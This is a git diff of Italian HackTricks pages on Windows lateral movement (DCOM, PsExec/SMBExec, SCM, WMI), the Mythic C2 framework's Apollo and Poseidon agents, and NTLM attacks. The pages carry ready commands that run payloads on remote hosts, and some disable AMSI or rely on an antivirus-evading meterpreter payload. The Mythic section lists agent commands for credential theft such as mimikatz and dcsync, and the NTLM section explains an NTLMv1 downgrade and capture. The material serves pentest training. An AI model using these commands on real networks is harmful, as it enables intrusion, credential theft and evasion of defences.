|
||||
- Puoi usare `dcomexec.py` di Impacket per eseguire comandi su sistemi remoti utilizzando DCOM.
|
||||
```bash
|
||||
dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
|
||||
```
|
||||
- Puoi anche usare [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
- Potresti anche usare [**SharpMove**](https://github.com/0xthirteen/SharpMove)
|
||||
```bash
|
||||
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
@ -1,23 +1,24 @@
|
||||
# PsExec/Winexec/ScExec
|
||||
# PsExec/Winexec/ScExec/SMBExec
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Come funzionano
|
||||
|
||||
Il processo è delineato nei passaggi seguenti, illustrando come i file binari di servizio vengano manipolati per ottenere l'esecuzione remota su una macchina target tramite SMB:
|
||||
Il processo è delineato nei passaggi seguenti, illustrando come i binari di servizio vengano manipolati per ottenere l'esecuzione remota su una macchina target tramite SMB:
|
||||
|
||||
1. **Copia di un file binario di servizio nella condivisione ADMIN$ tramite SMB** viene eseguita.
|
||||
2. **Creazione di un servizio sulla macchina remota** viene effettuata puntando al file binario.
|
||||
1. **Copia del binario di servizio nella condivisione ADMIN$ tramite SMB** viene eseguita.
|
||||
2. **Creazione di un servizio sulla macchina remota** viene effettuata puntando al binario.
|
||||
3. Il servizio viene **avviato remotamente**.
|
||||
4. Al termine, il servizio viene **interrotto e il file binario viene eliminato**.
|
||||
4. Al termine, il servizio viene **interrotto e il binario viene eliminato**.
|
||||
|
||||
### **Processo di Esecuzione Manuale di PsExec**
|
||||
|
||||
Assumendo che ci sia un payload eseguibile (creato con msfvenom e offuscato usando Veil per eludere la rilevazione antivirus), chiamato 'met8888.exe', che rappresenta un payload meterpreter reverse_http, vengono eseguiti i seguenti passaggi:
|
||||
Assumendo che ci sia un payload eseguibile (creato con msfvenom e offuscato usando Veil per eludere la rilevazione antivirus), chiamato 'met8888.exe', che rappresenta un payload meterpreter reverse_http, vengono seguiti i seguenti passaggi:
|
||||
|
||||
- **Copia del file binario**: L'eseguibile viene copiato nella condivisione ADMIN$ da un prompt dei comandi, anche se può essere posizionato ovunque nel filesystem per rimanere nascosto.
|
||||
- **Creazione di un servizio**: Utilizzando il comando Windows `sc`, che consente di interrogare, creare ed eliminare servizi Windows in remoto, viene creato un servizio chiamato "meterpreter" che punta al file binario caricato.
|
||||
- **Avvio del servizio**: L'ultimo passaggio comporta l'avvio del servizio, che probabilmente risulterà in un errore di "timeout" a causa del fatto che il file binario non è un vero file binario di servizio e non riesce a restituire il codice di risposta atteso. Questo errore è irrilevante poiché l'obiettivo principale è l'esecuzione del file binario.
|
||||
- **Copia del binario**: L'eseguibile viene copiato nella condivisione ADMIN$ da un prompt dei comandi, anche se può essere posizionato ovunque nel filesystem per rimanere nascosto.
|
||||
- Invece di copiare il binario, è anche possibile utilizzare un binario LOLBAS come `powershell.exe` o `cmd.exe` per eseguire comandi direttamente dagli argomenti. Esempio: `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
|
||||
- **Creazione di un servizio**: Utilizzando il comando Windows `sc`, che consente di interrogare, creare ed eliminare servizi Windows da remoto, viene creato un servizio chiamato "meterpreter" per puntare al binario caricato.
|
||||
- **Avvio del servizio**: L'ultimo passaggio comporta l'avvio del servizio, che probabilmente risulterà in un errore di "timeout" a causa del binario che non è un vero binario di servizio e non riesce a restituire il codice di risposta atteso. Questo errore è irrilevante poiché l'obiettivo principale è l'esecuzione del binario.
|
||||
|
||||
L'osservazione del listener di Metasploit rivelerà che la sessione è stata avviata con successo.
|
||||
|
||||
@ -25,12 +26,24 @@ L'osservazione del listener di Metasploit rivelerà che la sessione è stata avv
|
||||
|
||||
Trova passaggi più dettagliati in: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
**Puoi anche utilizzare il file binario PsExec.exe di Windows Sysinternals:**
|
||||
- Puoi anche utilizzare il **binario PsExec.exe di Windows Sysinternals**:
|
||||
|
||||
.png>)
|
||||
|
||||
Puoi anche utilizzare [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||
Oppure accedervi tramite webddav:
|
||||
```bash
|
||||
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
|
||||
```
|
||||
- Puoi anche usare [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||
```bash
|
||||
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
||||
```
|
||||
- Puoi anche usare [**SharpMove**](https://github.com/0xthirteen/SharpMove):
|
||||
```bash
|
||||
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
|
||||
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
|
||||
```
|
||||
- Puoi anche utilizzare **Impacket's `psexec` e `smbexec.py`**.
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
15
src/windows-hardening/lateral-movement/rdpexec.md
Normal file
15
src/windows-hardening/lateral-movement/rdpexec.md
Normal file
@ -0,0 +1,15 @@
|
||||
# RDPexec
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Come Funziona
|
||||
|
||||
**RDPexec** è fondamentalmente per eseguire comandi accedendo al sistema utilizzando RDP.
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-rdp.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
15
src/windows-hardening/lateral-movement/scmexec.md
Normal file
15
src/windows-hardening/lateral-movement/scmexec.md
Normal file
@ -0,0 +1,15 @@
|
||||
# DCOM Exec
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## SCM
|
||||
|
||||
**SCMExec** è una tecnica per eseguire comandi su sistemi remoti utilizzando il Service Control Manager (SCM) per creare un servizio che esegue il comando. Questo metodo può eludere alcuni controlli di sicurezza, come il Controllo Account Utente (UAC) e Windows Defender.
|
||||
|
||||
## Tools
|
||||
|
||||
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
|
||||
|
||||
SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,38 +0,0 @@
|
||||
# SmbExec/ScExec
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Come Funziona
|
||||
|
||||
**Smbexec** è uno strumento utilizzato per l'esecuzione remota di comandi su sistemi Windows, simile a **Psexec**, ma evita di posizionare file dannosi sul sistema target.
|
||||
|
||||
### Punti Chiave su **SMBExec**
|
||||
|
||||
- Funziona creando un servizio temporaneo (ad esempio, "BTOBTO") sulla macchina target per eseguire comandi tramite cmd.exe (%COMSPEC%), senza scaricare alcun binario.
|
||||
- Nonostante il suo approccio furtivo, genera registri eventi per ogni comando eseguito, offrendo una forma di "shell" non interattiva.
|
||||
- Il comando per connettersi utilizzando **Smbexec** appare così:
|
||||
```bash
|
||||
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
||||
```
|
||||
### Esecuzione di Comandi Senza Binaries
|
||||
|
||||
- **Smbexec** consente l'esecuzione diretta di comandi attraverso i binPath dei servizi, eliminando la necessità di binaries fisici sul target.
|
||||
- Questo metodo è utile per eseguire comandi una tantum su un target Windows. Ad esempio, abbinarlo al modulo `web_delivery` di Metasploit consente l'esecuzione di un payload Meterpreter inverso mirato a PowerShell.
|
||||
- Creando un servizio remoto sulla macchina dell'attaccante con binPath impostato per eseguire il comando fornito tramite cmd.exe, è possibile eseguire con successo il payload, ottenendo callback ed esecuzione del payload con il listener di Metasploit, anche se si verificano errori di risposta del servizio.
|
||||
|
||||
### Esempio di Comandi
|
||||
|
||||
La creazione e l'avvio del servizio possono essere realizzati con i seguenti comandi:
|
||||
```bash
|
||||
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
|
||||
sc start [ServiceName]
|
||||
```
|
||||
Per ulteriori dettagli controlla [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -57,9 +57,9 @@ $c.methods
|
||||
# Method listing and invocation
|
||||
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)
|
||||
```
|
||||
## Enumerazione WMI
|
||||
## WMI Enumeration
|
||||
|
||||
### Stato del Servizio WMI
|
||||
### WMI Service Status
|
||||
|
||||
Comandi per verificare se il servizio WMI è operativo:
|
||||
```bash
|
||||
@ -85,26 +85,42 @@ wmic useraccount list /format:list
|
||||
wmic group list /format:list
|
||||
wmic sysaccount list /format:list
|
||||
```
|
||||
La query remota di WMI per informazioni specifiche, come gli amministratori locali o gli utenti connessi, è fattibile con una costruzione attenta dei comandi.
|
||||
Interrogare WMI da remoto per informazioni specifiche, come amministratori locali o utenti connessi, è fattibile con una costruzione attenta dei comandi.
|
||||
|
||||
### **Query WMI Remota Manuale**
|
||||
### **Interrogazione WMI Remota Manuale**
|
||||
|
||||
L'identificazione furtiva degli amministratori locali su una macchina remota e degli utenti connessi può essere ottenuta attraverso query WMI specifiche. `wmic` supporta anche la lettura da un file di testo per eseguire comandi su più nodi contemporaneamente.
|
||||
L'identificazione furtiva degli amministratori locali su una macchina remota e degli utenti connessi può essere ottenuta attraverso specifiche query WMI. `wmic` supporta anche la lettura da un file di testo per eseguire comandi su più nodi contemporaneamente.
|
||||
|
||||
Per eseguire un processo in remoto tramite WMI, come il deployment di un agente Empire, viene impiegata la seguente struttura di comando, con l'esecuzione riuscita indicata da un valore di ritorno di "0":
|
||||
Per eseguire un processo da remoto tramite WMI, come il dispiegamento di un agente Empire, viene impiegata la seguente struttura di comando, con l'esecuzione riuscita indicata da un valore di ritorno di "0":
|
||||
```bash
|
||||
wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
|
||||
```
|
||||
Questo processo illustra la capacità di WMI per l'esecuzione remota e l'enumerazione del sistema, evidenziando la sua utilità sia per l'amministrazione di sistema che per il pentesting.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
## Strumenti Automatici
|
||||
|
||||
- [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||
```bash
|
||||
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
||||
```
|
||||
- [**SharpWMI**](https://github.com/GhostPack/SharpWMI)
|
||||
```bash
|
||||
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
|
||||
# Stealthier execution with VBS
|
||||
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
|
||||
```
|
||||
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
|
||||
```bash
|
||||
SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password
|
||||
SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password
|
||||
SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password
|
||||
```
|
||||
- Puoi anche usare **Impacket's `wmiexec`**.
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
165
src/windows-hardening/mythic.md
Normal file
165
src/windows-hardening/mythic.md
Normal file
@ -0,0 +1,165 @@
|
||||
# Mythic
|
||||
|
||||
## Che cos'è Mythic?
|
||||
|
||||
Mythic è un framework open-source e modulare di comando e controllo (C2) progettato per il red teaming. Permette ai professionisti della sicurezza di gestire e distribuire vari agenti (payload) su diversi sistemi operativi, tra cui Windows, Linux e macOS. Mythic fornisce un'interfaccia web user-friendly per gestire gli agenti, eseguire comandi e raccogliere risultati, rendendolo uno strumento potente per simulare attacchi del mondo reale in un ambiente controllato.
|
||||
|
||||
### Installazione
|
||||
|
||||
Per installare Mythic, segui le istruzioni nel **[repository ufficiale di Mythic](https://github.com/its-a-feature/Mythic)**.
|
||||
|
||||
### Agenti
|
||||
|
||||
Mythic supporta più agenti, che sono i **payload che eseguono compiti sui sistemi compromessi**. Ogni agente può essere personalizzato in base a esigenze specifiche e può funzionare su diversi sistemi operativi.
|
||||
|
||||
Per impostazione predefinita, Mythic non ha agenti installati. Tuttavia, offre alcuni agenti open source in [**https://github.com/MythicAgents**](https://github.com/MythicAgents).
|
||||
|
||||
Per installare un agente da quel repository, devi solo eseguire:
|
||||
```bash
|
||||
sudo ./mythic-cli install github https://github.com/MythicAgents/<agent-name>
|
||||
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
|
||||
```
|
||||
Puoi aggiungere nuovi agenti con il comando precedente anche se Mythic è già in esecuzione.
|
||||
|
||||
### Profili C2
|
||||
|
||||
I profili C2 in Mythic definiscono **come gli agenti comunicano con il server Mythic**. Specificano il protocollo di comunicazione, i metodi di crittografia e altre impostazioni. Puoi creare e gestire profili C2 tramite l'interfaccia web di Mythic.
|
||||
|
||||
Per impostazione predefinita, Mythic è installato senza profili, tuttavia, è possibile scaricare alcuni profili dal repo [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) eseguendo:
|
||||
```bash
|
||||
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<c2-profile>>
|
||||
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
|
||||
```
|
||||
## [Apollo Agent](https://github.com/MythicAgents/Apollo)
|
||||
|
||||
Apollo è un agente Windows scritto in C# utilizzando il .NET Framework 4.0 progettato per essere utilizzato nelle offerte di formazione di SpecterOps.
|
||||
|
||||
Installalo con:
|
||||
```bash
|
||||
./mythic-cli install github https://github.com/MythicAgents/Apollo.git
|
||||
```
|
||||
Questo agente ha molti comandi che lo rendono molto simile al Beacon di Cobalt Strike con alcune aggiunte. Tra questi, supporta:
|
||||
|
||||
### Azioni comuni
|
||||
|
||||
- `cat`: Stampa il contenuto di un file
|
||||
- `cd`: Cambia la directory di lavoro corrente
|
||||
- `cp`: Copia un file da una posizione a un'altra
|
||||
- `ls`: Elenca file e directory nella directory corrente o nel percorso specificato
|
||||
- `pwd`: Stampa la directory di lavoro corrente
|
||||
- `ps`: Elenca i processi in esecuzione sul sistema target (con informazioni aggiuntive)
|
||||
- `download`: Scarica un file dal sistema target alla macchina locale
|
||||
- `upload`: Carica un file dalla macchina locale al sistema target
|
||||
- `reg_query`: Interroga chiavi e valori del registro sul sistema target
|
||||
- `reg_write_value`: Scrive un nuovo valore a una chiave di registro specificata
|
||||
- `sleep`: Cambia l'intervallo di sonno dell'agente, che determina con quale frequenza controlla il server Mythic
|
||||
- E molti altri, usa `help` per vedere l'elenco completo dei comandi disponibili.
|
||||
|
||||
### Escalation dei privilegi
|
||||
|
||||
- `getprivs`: Abilita il maggior numero possibile di privilegi sul token del thread corrente
|
||||
- `getsystem`: Apre un handle a winlogon e duplica il token, aumentando effettivamente i privilegi a livello SYSTEM
|
||||
- `make_token`: Crea una nuova sessione di accesso e la applica all'agente, consentendo l'impersonificazione di un altro utente
|
||||
- `steal_token`: Ruba un token primario da un altro processo, consentendo all'agente di impersonare l'utente di quel processo
|
||||
- `pth`: Attacco Pass-the-Hash, che consente all'agente di autenticarsi come un utente utilizzando il proprio hash NTLM senza bisogno della password in chiaro
|
||||
- `mimikatz`: Esegue comandi Mimikatz per estrarre credenziali, hash e altre informazioni sensibili dalla memoria o dal database SAM
|
||||
- `rev2self`: Ripristina il token dell'agente al suo token primario, riducendo effettivamente i privilegi al livello originale
|
||||
- `ppid`: Cambia il processo padre per i lavori di post-exploitation specificando un nuovo ID processo padre, consentendo un migliore controllo sul contesto di esecuzione del lavoro
|
||||
- `printspoofer`: Esegue comandi PrintSpoofer per bypassare le misure di sicurezza dello spooler di stampa, consentendo l'escalation dei privilegi o l'esecuzione di codice
|
||||
- `dcsync`: Sincronizza le chiavi Kerberos di un utente sulla macchina locale, consentendo il cracking delle password offline o ulteriori attacchi
|
||||
- `ticket_cache_add`: Aggiunge un biglietto Kerberos alla sessione di accesso corrente o a una specificata, consentendo il riutilizzo del biglietto o l'impersonificazione
|
||||
|
||||
### Esecuzione dei processi
|
||||
|
||||
- `assembly_inject`: Consente di iniettare un loader di assembly .NET in un processo remoto
|
||||
- `execute_assembly`: Esegue un assembly .NET nel contesto dell'agente
|
||||
- `execute_coff`: Esegue un file COFF in memoria, consentendo l'esecuzione in memoria di codice compilato
|
||||
- `execute_pe`: Esegue un eseguibile non gestito (PE)
|
||||
- `inline_assembly`: Esegue un assembly .NET in un AppDomain usa e getta, consentendo l'esecuzione temporanea di codice senza influenzare il processo principale dell'agente
|
||||
- `run`: Esegue un binario sul sistema target, utilizzando il PATH del sistema per trovare l'eseguibile
|
||||
- `shinject`: Inietta shellcode in un processo remoto, consentendo l'esecuzione in memoria di codice arbitrario
|
||||
- `inject`: Inietta shellcode dell'agente in un processo remoto, consentendo l'esecuzione in memoria del codice dell'agente
|
||||
- `spawn`: Genera una nuova sessione dell'agente nell'eseguibile specificato, consentendo l'esecuzione di shellcode in un nuovo processo
|
||||
- `spawnto_x64` e `spawnto_x86`: Cambia il binario predefinito utilizzato nei lavori di post-exploitation a un percorso specificato invece di utilizzare `rundll32.exe` senza parametri, che è molto rumoroso.
|
||||
|
||||
### Mithic Forge
|
||||
|
||||
Questo consente di **caricare file COFF/BOF** dalla Mythic Forge, che è un repository di payload e strumenti precompilati che possono essere eseguiti sul sistema target. Con tutti i comandi che possono essere caricati sarà possibile eseguire azioni comuni eseguendoli nel processo corrente dell'agente come BOF (più stealth di solito).
|
||||
|
||||
Inizia a installarli con:
|
||||
```bash
|
||||
./mythic-cli install github https://github.com/MythicAgents/forge.git
|
||||
```
|
||||
Poi, usa `forge_collections` per mostrare i moduli COFF/BOF dal Mythic Forge per poterli selezionare e caricare nella memoria dell'agente per l'esecuzione. Per impostazione predefinita, le seguenti 2 collezioni sono aggiunte in Apollo:
|
||||
|
||||
- `forge_collections {"collectionName":"SharpCollection"}`
|
||||
- `forge_collections {"collectionName":"SliverArmory"}`
|
||||
|
||||
Dopo che un modulo è stato caricato, apparirà nell'elenco come un altro comando come `forge_bof_sa-whoami` o `forge_bof_sa-netuser`.
|
||||
|
||||
### Esecuzione di Powershell e scripting
|
||||
|
||||
- `powershell_import`: Importa un nuovo script PowerShell (.ps1) nella cache dell'agente per un'esecuzione successiva
|
||||
- `powershell`: Esegue un comando PowerShell nel contesto dell'agente, consentendo scripting avanzato e automazione
|
||||
- `powerpick`: Inietta un'assembly loader PowerShell in un processo sacrificabile ed esegue un comando PowerShell (senza logging di PowerShell).
|
||||
- `psinject`: Esegue PowerShell in un processo specificato, consentendo l'esecuzione mirata di script nel contesto di un altro processo
|
||||
- `shell`: Esegue un comando shell nel contesto dell'agente, simile all'esecuzione di un comando in cmd.exe
|
||||
|
||||
### Movimento Laterale
|
||||
|
||||
- `jump_psexec`: Usa la tecnica PsExec per muoversi lateralmente verso un nuovo host copiando prima l'eseguibile dell'agente Apollo (apollo.exe) ed eseguendolo.
|
||||
- `jump_wmi`: Usa la tecnica WMI per muoversi lateralmente verso un nuovo host copiando prima l'eseguibile dell'agente Apollo (apollo.exe) ed eseguendolo.
|
||||
- `wmiexecute`: Esegue un comando sul sistema locale o remoto specificato utilizzando WMI, con credenziali opzionali per impersonificazione.
|
||||
- `net_dclist`: Recupera un elenco di controller di dominio per il dominio specificato, utile per identificare potenziali obiettivi per il movimento laterale.
|
||||
- `net_localgroup`: Elenca i gruppi locali sul computer specificato, predefinito a localhost se non viene specificato alcun computer.
|
||||
- `net_localgroup_member`: Recupera l'appartenenza ai gruppi locali per un gruppo specificato sul computer locale o remoto, consentendo l'enumerazione degli utenti in gruppi specifici.
|
||||
- `net_shares`: Elenca le condivisioni remote e la loro accessibilità sul computer specificato, utile per identificare potenziali obiettivi per il movimento laterale.
|
||||
- `socks`: Abilita un proxy conforme a SOCKS 5 sulla rete target, consentendo il tunneling del traffico attraverso l'host compromesso. Compatibile con strumenti come proxychains.
|
||||
- `rpfwd`: Inizia ad ascoltare su una porta specificata sull'host target e inoltra il traffico attraverso Mythic a un IP e una porta remoti, consentendo l'accesso remoto ai servizi sulla rete target.
|
||||
- `listpipes`: Elenca tutte le pipe nominate sul sistema locale, che possono essere utili per il movimento laterale o l'escalation dei privilegi interagendo con i meccanismi IPC.
|
||||
|
||||
### Comandi Vari
|
||||
- `help`: Mostra informazioni dettagliate su comandi specifici o informazioni generali su tutti i comandi disponibili nell'agente.
|
||||
- `clear`: Segna i compiti come 'puliti' in modo che non possano essere ripresi dagli agenti. Puoi specificare `all` per pulire tutti i compiti o `task Num` per pulire un compito specifico.
|
||||
|
||||
|
||||
## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
|
||||
|
||||
Poseidon è un agente Golang che si compila in eseguibili **Linux e macOS**.
|
||||
```bash
|
||||
./mythic-cli install github https://github.com/MythicAgents/Poseidon.git
|
||||
```
|
||||
Quando si utilizza Linux, ci sono alcuni comandi interessanti:
|
||||
|
||||
### Azioni comuni
|
||||
|
||||
- `cat`: Stampa il contenuto di un file
|
||||
- `cd`: Cambia la directory di lavoro corrente
|
||||
- `chmod`: Cambia i permessi di un file
|
||||
- `config`: Visualizza la configurazione attuale e le informazioni sull'host
|
||||
- `cp`: Copia un file da una posizione a un'altra
|
||||
- `curl`: Esegue una singola richiesta web con intestazioni e metodo opzionali
|
||||
- `upload`: Carica un file sul target
|
||||
- `download`: Scarica un file dal sistema target alla macchina locale
|
||||
- E molti altri
|
||||
|
||||
### Cerca informazioni sensibili
|
||||
|
||||
- `triagedirectory`: Trova file interessanti all'interno di una directory su un host, come file sensibili o credenziali.
|
||||
- `getenv`: Ottieni tutte le variabili ambientali correnti.
|
||||
|
||||
### Spostati lateralmente
|
||||
|
||||
- `ssh`: SSH su host utilizzando le credenziali designate e apri un PTY senza avviare ssh.
|
||||
- `sshauth`: SSH su host specificati utilizzando le credenziali designate. Puoi anche usarlo per eseguire un comando specifico sui host remoti tramite SSH o usarlo per SCP file.
|
||||
- `link_tcp`: Collega un altro agente tramite TCP, consentendo comunicazioni dirette tra agenti.
|
||||
- `link_webshell`: Collega un agente utilizzando il profilo P2P webshell, consentendo l'accesso remoto all'interfaccia web dell'agente.
|
||||
- `rpfwd`: Avvia o ferma un Reverse Port Forward, consentendo l'accesso remoto ai servizi sulla rete target.
|
||||
- `socks`: Avvia o ferma un proxy SOCKS5 sulla rete target, consentendo il tunneling del traffico attraverso l'host compromesso. Compatibile con strumenti come proxychains.
|
||||
- `portscan`: Scansiona host per porte aperte, utile per identificare potenziali obiettivi per movimenti laterali o ulteriori attacchi.
|
||||
|
||||
### Esecuzione di processi
|
||||
|
||||
- `shell`: Esegue un singolo comando shell tramite /bin/sh, consentendo l'esecuzione diretta di comandi sul sistema target.
|
||||
- `run`: Esegue un comando dal disco con argomenti, consentendo l'esecuzione di binari o script sul sistema target.
|
||||
- `pty`: Apri un PTY interattivo, consentendo un'interazione diretta con la shell sul sistema target.
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Negli ambienti in cui sono in funzione **Windows XP e Server 2003**, vengono utilizzati gli hash LM (Lan Manager), sebbene sia ampiamente riconosciuto che questi possano essere facilmente compromessi. Un particolare hash LM, `AAD3B435B51404EEAAD3B435B51404EE`, indica uno scenario in cui LM non è impiegato, rappresentando l'hash per una stringa vuota.
|
||||
In ambienti in cui sono in funzione **Windows XP e Server 2003**, vengono utilizzati gli hash LM (Lan Manager), sebbene sia ampiamente riconosciuto che questi possano essere facilmente compromessi. Un particolare hash LM, `AAD3B435B51404EEAAD3B435B51404EE`, indica uno scenario in cui LM non è impiegato, rappresentando l'hash per una stringa vuota.
|
||||
|
||||
Per impostazione predefinita, il protocollo di autenticazione **Kerberos** è il metodo principale utilizzato. NTLM (NT LAN Manager) interviene in circostanze specifiche: assenza di Active Directory, inesistenza del dominio, malfunzionamento di Kerberos a causa di una configurazione errata, o quando si tentano connessioni utilizzando un indirizzo IP anziché un nome host valido.
|
||||
|
||||
@ -44,16 +44,16 @@ Valori possibili:
|
||||
4 - Send NTLMv2 response only, refuse LM
|
||||
5 - Send NTLMv2 response only, refuse LM & NTLM
|
||||
```
|
||||
## Schema di autenticazione di base NTLM
|
||||
## Schema di autenticazione di base NTLM Domain
|
||||
|
||||
1. L'**utente** introduce le proprie **credenziali**
|
||||
1. L'**utente** introduce le sue **credenziali**
|
||||
2. La macchina client **invia una richiesta di autenticazione** inviando il **nome del dominio** e il **nome utente**
|
||||
3. Il **server** invia la **sfida**
|
||||
4. Il **client cripta** la **sfida** utilizzando l'hash della password come chiave e la invia come risposta
|
||||
5. Il **server invia** al **Domain controller** il **nome del dominio, il nome utente, la sfida e la risposta**. Se non **c'è** un Active Directory configurato o il nome del dominio è il nome del server, le credenziali vengono **verificate localmente**.
|
||||
6. Il **domain controller verifica se tutto è corretto** e invia le informazioni al server
|
||||
|
||||
Il **server** e il **Domain Controller** sono in grado di creare un **Canale Sicuro** tramite il server **Netlogon** poiché il Domain Controller conosce la password del server (è all'interno del db **NTDS.DIT**).
|
||||
Il **server** e il **Domain Controller** sono in grado di creare un **Canale Sicuro** tramite il server **Netlogon** poiché il Domain Controller conosce la password del server (è all'interno del database **NTDS.DIT**).
|
||||
|
||||
### Schema di autenticazione NTLM locale
|
||||
|
||||
@ -70,7 +70,7 @@ L'**hash NT (16byte)** è diviso in **3 parti di 7byte ciascuna** (7B + 7B + (2B
|
||||
- Mancanza di **randomness**
|
||||
- Le 3 parti possono essere **attaccate separatamente** per trovare l'hash NT
|
||||
- **DES è crackabile**
|
||||
- La 3º chiave è sempre composta da **5 zeri**.
|
||||
- La 3ª chiave è sempre composta da **5 zeri**.
|
||||
- Dato la **stessa sfida**, la **risposta** sarà **la stessa**. Quindi, puoi dare come **sfida** alla vittima la stringa "**1122334455667788**" e attaccare la risposta utilizzando **tabelle rainbow precompute**.
|
||||
|
||||
### Attacco NTLMv1
|
||||
@ -78,14 +78,14 @@ L'**hash NT (16byte)** è diviso in **3 parti di 7byte ciascuna** (7B + 7B + (2B
|
||||
Al giorno d'oggi è sempre meno comune trovare ambienti con Delegazione Non Vincolata configurata, ma questo non significa che non puoi **abusare di un servizio Print Spooler** configurato.
|
||||
|
||||
Potresti abusare di alcune credenziali/sessioni che hai già sull'AD per **chiedere alla stampante di autenticarsi** contro qualche **host sotto il tuo controllo**. Poi, utilizzando `metasploit auxiliary/server/capture/smb` o `responder` puoi **impostare la sfida di autenticazione a 1122334455667788**, catturare il tentativo di autenticazione, e se è stato fatto utilizzando **NTLMv1** sarai in grado di **crackarlo**.\
|
||||
Se stai usando `responder` potresti provare a \*\*usare il flag `--lm` \*\* per cercare di **downgradare** l'**autenticazione**.\
|
||||
Se stai usando `responder` potresti provare a **usare il flag `--lm`** per cercare di **downgradare** l'**autenticazione**.\
|
||||
_Nota che per questa tecnica l'autenticazione deve essere eseguita utilizzando NTLMv1 (NTLMv2 non è valido)._
|
||||
|
||||
Ricorda che la stampante utilizzerà l'account del computer durante l'autenticazione, e gli account dei computer usano **password lunghe e casuali** che probabilmente **non sarai in grado di crackare** utilizzando dizionari comuni. Ma l'autenticazione **NTLMv1** **usa DES** ([maggiori informazioni qui](#ntlmv1-challenge)), quindi utilizzando alcuni servizi specialmente dedicati a crackare DES sarai in grado di crackarlo (potresti usare [https://crack.sh/](https://crack.sh) o [https://ntlmv1.com/](https://ntlmv1.com) per esempio).
|
||||
|
||||
### Attacco NTLMv1 con hashcat
|
||||
|
||||
NTLMv1 può anche essere rotto con il NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) che formatta i messaggi NTLMv1 in un metodo che può essere rotto con hashcat.
|
||||
NTLMv1 può essere anche rotto con il NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) che formatta i messaggi NTLMv1 in un metodo che può essere rotto con hashcat.
|
||||
|
||||
Il comando
|
||||
```bash
|
||||
